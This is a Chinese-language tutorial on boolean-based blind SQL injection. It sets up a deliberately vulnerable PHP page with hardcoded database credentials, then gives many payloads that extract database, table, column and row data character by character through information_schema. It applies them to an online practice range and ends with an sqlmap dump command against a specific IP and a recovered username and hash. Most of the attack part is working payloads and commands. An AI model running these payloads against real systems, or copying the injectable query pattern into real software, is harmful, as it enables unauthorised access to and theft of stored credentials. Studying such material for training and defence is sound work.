💪💪第一步创建sql环境,直接再mysql下运行
use loophole;
create table sql_test(
id int auto_increment,
primary key (id),
username char(10),
address char(20)
);
insert into sql_test values (1,'admin1','hubei'),(2,'mozhe','beijin'),(3,'admin','hubei'),(4,'yk','ensi');
⚠️⚠️第二步直接运行如下代码,其中连接数据库的用户名和密码必须换成自己的数据库的
echo "Boolean注入,信息收集要一个一个测试
";
$con = mysqli_connect("localhost","root","901026yk","loophole");
if(mysqli_connect_error())
{
echo "连接错误" . mysqli_connect_error();
}
$id = $_GET['id'];
if(preg_match("/union|benchmark|sleep/i",$id))
{
exit('no');
}
else
{
$result = mysqli_query($con,"select * from sql_test where id='" . $id ."'");
$row = mysqli_fetch_array($result);
if($row)
{
exit('yes');
}
else
{
exit('no');
}
}
⚠️⚠️判断是否有注入还是?id=1,加标点符号和注释符–+,让前面为真,再加上and 1=1和and 1=2,原因如下:

http://localhost:3000/SQL/Boolean.php?id=1' order by 4--+,由于不会直接输出sql执行结果,所以判断列数直接获取表名没有什么用

http://localhost:3000/SQL/Boolean.php?id=1' and substr(database(),1,1) ='x'--+由于不会直接输出sql执行结果,所以只能够一个字母一个字母判断,利用buripsuit帮助做题



如上获取表名,我用了burpsuit工具帮助解题,下面是纯手工解题
⚠️⚠️获取表名和获取数据库名称一样,都只能够一个字符一个字符的判断,因为代码不会执行你拼接的sql语句,但是会给你写的sql语句判断对错
?id=1' and substr((select table_name from information_schema.tables where table_schema='loophole' limit 0,1),1,1)='s' --+
?id=1' and substr((select table_name from information_schema.tables where table_schema='loophole' limit 0,1),2,1)='q' --+:截取第二个字符

?id=1' and substr((select column_name from information_schema.columns where table_schema='loophole' and table_name='sql_test' limit 0,1),1,1)='i' --+

?id=1' and substr((select column_name from information_schema.columns where table_schema='loophole' and table_name='sql_test' limit 1,1),1,1)='u' --+

?id=1' and substr((select column_name from information_schema.columns where table_schema='loophole' and table_name='sql_test' limit 2,1),1,1)='a' --+
?id=1' and substr((select username from loophole.sql_test limit 2,1),1,1)='a' --+

⚠️⚠️Boolean注入的一般思路如下:
Boolean注入select length(database()),再一个一个截取判断:substr(database(),1,1))注入语句如下:
select schema_name from information_schema.SCHEMATA;
select count(schema_name) from information_schema.SCHEMATA;
select length(schema_name) from information_schema.SCHEMATA limit 1,1; # 判断数据库长度
select table_name from information_schema.TABLES where TABLE_SCHEMA='loophole' limit 0,1;
select count(table_name) from information_schema.TABLES where TABLE_SCHEMA='loophole';
select length(table_name) from information_schema.TABLES where TABLE_SCHEMA='loophole' limit 0,1; # 判断某个表长度
substr((select table_name from information_schema.TABLES where TABLE_SCHEMA='loophole' limit 0,1),1,1) # 截取字段
select count(column_name) from information_schema.COLUMNS where TABLE_SCHEMA='loophole' and table_name='sql_test';
select length(column_name) from information_schema.COLUMNS where TABLE_SCHEMA='loophole' and table_name='sql_test' limit 0,1;# 判断某个列长度
substr((select column_name from information_schema.COLUMNS where TABLE_SCHEMA='loophole' and table_name='sql_test' limit 0,1),1,1)
# 要想获取尽可能多的信息,必须获取所有表的长度,再对表名进行爆破,再获取每个表有多少列,然后再获取每个列的长度,再对每列进行爆破
如下是实战:由于每个人的环境不一样,这里我以在线靶场为例靶场地址
第一步点击此处:
?id=1 and 1=1 ?id=1 and 1=2
以上两条语句的返回结果不一样,说明id前后无标点符号,直接进行boolean注入
?id=1 and length(database())>8这条语句正常?id=1 and length(database())>9这条语句不正常,所以数据库长度为9

数据库名称为stormgroup,数据库stormgroup下有两个表
?id=1 and (select count(table_name) from information_schema.TABLES where TABLE_SCHEMA='stormgroup')>1返回正常,?id=1 and (select count(table_name) from information_schema.TABLES where TABLE_SCHEMA='stormgroup')>2返回不正常说明stormgroup这个数据库下面有两个表,如下评判两个表的长度:
?id=1 and (select length(table_name) from information_schema.TABLES where TABLE_SCHEMA='stormgroup' limit 0,1)>6:第一个表的长度6
?id=1 and (select length(table_name) from information_schema.TABLES where TABLE_SCHEMA='stormgroup' limit 1,1)>6:第二个表的长度6
?id=1 and substr((select table_name from information_schema.TABLES where TABLE_SCHEMA='stormgroup' limit 0,1),1,1)='a'再对每个表的每个字段进行爆破就行了




如上所示对表名进行爆破,得到
表名为:member和notice,
?id=1 and (select count(column_name) from information_schema.columns where TABLE_SCHEMA='stormgroup' and table_name='notice' )>4:notice 表有四列,member表有二列
?id=1 and (select length(column_name) from information_schema.columns where TABLE_SCHEMA='stormgroup' and table_name='notice' limit 0,1)>2,找出每列长度,notice表有四列,四列长度分别为2,5,4,7,member表有二列,长度分别为4,8,其实看长度,你就应该非常敏感的认为应该是user,和password,你就可以往这方面去找。但是我想错了,到头来还是爆破找出来了,哈哈哈,渗透测试就是这样非常有意思的,那两列是name和password
?id=1 and substr((select column_name from information_schema.columns where TABLE_SCHEMA='stormgroup' and table_name='notice' limit 0,1),1,1)='a':notice表有四列,四列分别是:id,title,content,tim;member表有二列,分别是user和password
?id=1 and (select count(name) from stormgroup.member)>2:有两条信息


?id=1 and (select length(name) from stormgroup.member limit 0,1)>5 ?id=1 and (select length(name) from stormgroup.member limit 1,1)>5
第一行和第二行name长度都为5
?id=1 and (select length(password) from stormgroup.member limit 0,1)>32 ?id=1 and (select length(password) from stormgroup.member limit 0,1)>32
第一行和第二行password长度都为32
?id=1 and substr((select name from stormgroup.member limit 0,1) ,1,1)='a':name都是mozhe,,由于password太大,使用sqlmap爆破解决:
sqlmap -u http://124.70.71.251:48445/new_list.php?id=1 -D stormgroup -T member -C password --dump

如上可以看到两条密码已近爆破出来了,直接使用md5进行解密就行了
用户名:mozhe
密码:mozhe569bb9325991e9dce85f60d4bc5